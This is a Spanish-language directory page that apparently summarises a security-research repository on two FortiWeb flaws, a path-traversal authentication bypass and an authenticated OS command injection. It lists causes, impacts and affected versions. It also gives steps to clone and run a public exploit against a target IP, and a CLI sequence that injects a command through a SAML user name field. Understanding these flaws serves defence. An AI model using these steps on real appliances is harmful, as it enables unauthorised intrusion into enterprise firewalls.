Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
fortinet-fortiweb-cve-2025-64446-58034 — Investigación de seguridad sobre vulnerabilidades de Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034) | Kitploit
Herramientas/GitHubGitHub/lequoca/fortinet-fortiweb-cve-2025-64446-58034
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHublequoca/fortinet-fortiweb-cve-2025-64446-58034

fortinet-fortiweb-cve-2025-64446-58034

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Investigación de seguridad sobre vulnerabilidades de Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)

Ver Repositorio
hace 8 mesesAún no revisado

Comprendiendo las vulnerabilidades de Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)

1. Resumen

Fortinet FortiWeb es un dispositivo Web Application Firewall (WAF) ampliamente implementado en los sistemas empresariales para proteger las aplicaciones web frente a amenazas comunes.

Dado que FortiWeb suele ubicarse en la capa de protección central, las vulnerabilidades relacionadas con la autenticación o la ejecución de comandos del sistema operativo pueden afectar gravemente a toda la infraestructura subyacente. En 2025, se han divulgado dos vulnerabilidades críticas en FortiWeb:

  • CVE-2025-64446 – Bypass de autenticación mediante Relative Path Traversal

  • CVE-2025-58034 – OS Command Injection en contexto autenticado

  • 2. Resumen de CVE-2025-64446

2.1 Tipo de vulnerabilidad

  • Relative Path Traversal
  • Authentication Bypass

2.2 Causa de la vulnerabilidad

CVE-2025-64446 se origina en que FortiWeb maneja y verifica las rutas de acceso de forma poco rigurosa antes de aplicar el mecanismo de autenticación.

Concretamente:

  • El mecanismo de control de acceso se basa en la cadena lógica de la ruta
  • No se realiza una normalización (normalize) completa de la ruta
  • Se permite el uso de rutas relativas para acceder a recursos internos

Este fallo permite que algunos endpoints administrativos puedan ser accedidos sin una autenticación válida.

2.3 Impacto en la seguridad

  • Bypass total del mecanismo de autenticación
  • Acceso no autorizado a funciones administrativas
  • Ruptura del modelo de privilegios del dispositivo de seguridad

2.4 Versiones afectadas

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.4
  • FortiWeb 7.4.0 – 7.4.9
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

3. Resumen de CVE-2025-58034

3.1 Tipo de vulnerabilidad

  • OS Command Injection (CWE-78)

3.2 Causa de la vulnerabilidad

CVE-2025-58034 surge porque FortiWeb procesa de forma insegura los datos de entrada del usuario al invocar comandos del sistema operativo.

Las causas principales incluyen:

  • Los parámetros de entrada no se validan de forma rigurosa
  • Falta de mecanismos de filtrado o escape de caracteres especiales
  • Los datos del usuario se pasan directamente al comando del sistema

Esta vulnerabilidad requiere un contexto autenticado, pero sigue presentando un alto nivel de riesgo debido a la ejecución de comandos.

3.3 Impacto en la seguridad

  • Ejecución no intencionada de comandos del sistema operativo
  • Acceso y manipulación de recursos del sistema
  • Afectación de la integridad y la disponibilidad del dispositivo

3.4 Versiones afectadas

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.5
  • FortiWeb 7.4.0 – 7.4.10
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

4. Método de explotación (Referencia al PoC disponible - CVE-2025-64446)

4.1 Clonar el repositorio (Descargar el código fuente en la máquina)

root@kitploit:~
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034

4.2 Configurar el entorno virtual (venv)

El entorno virtual de Python (venv) se utiliza para crear un entorno de trabajo independiente para cada proyecto, aislando las librerías dependientes del sistema Python principal. Esto ayuda a evitar conflictos de versiones de librerías, garantiza la estabilidad del entorno de trabajo y limita el impacto en el sistema.

root@kitploit:~
python3 -m venv venv
source venv/bin/activate

4.3 Instalar las dependencias:

root@kitploit:~
pip install -r requirements.txt

4.4 Ejecutar todo el proceso de explotación

root@kitploit:~
python exploit.py <target_ip>
image image image

5. Explotación de CVE-2025-58034 mediante comandos CLI (ejecutados desde la interfaz de línea de comandos de FortiWeb tras la autenticación)

root@kitploit:~
config user saml-user

edit "<YOUR COMMAND>"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

La vulnerabilidad CVE-2025-58034 surge porque FortiWeb no controla de forma estricta los datos de entrada en algunos campos de configuración, especialmente el valor pasado a través del comando: edit ""

Problema: Este valor se procesa como una cadena de configuración Posteriormente se incorpora a comandos internos del sistema operativo No se filtran ni se escapan adecuadamente los caracteres especiales Esto permite que los datos de configuración puedan afectar directamente al comando del sistema operativo ejecutado, provocando la vulnerabilidad de OS Command Injection.

Descargar herramienta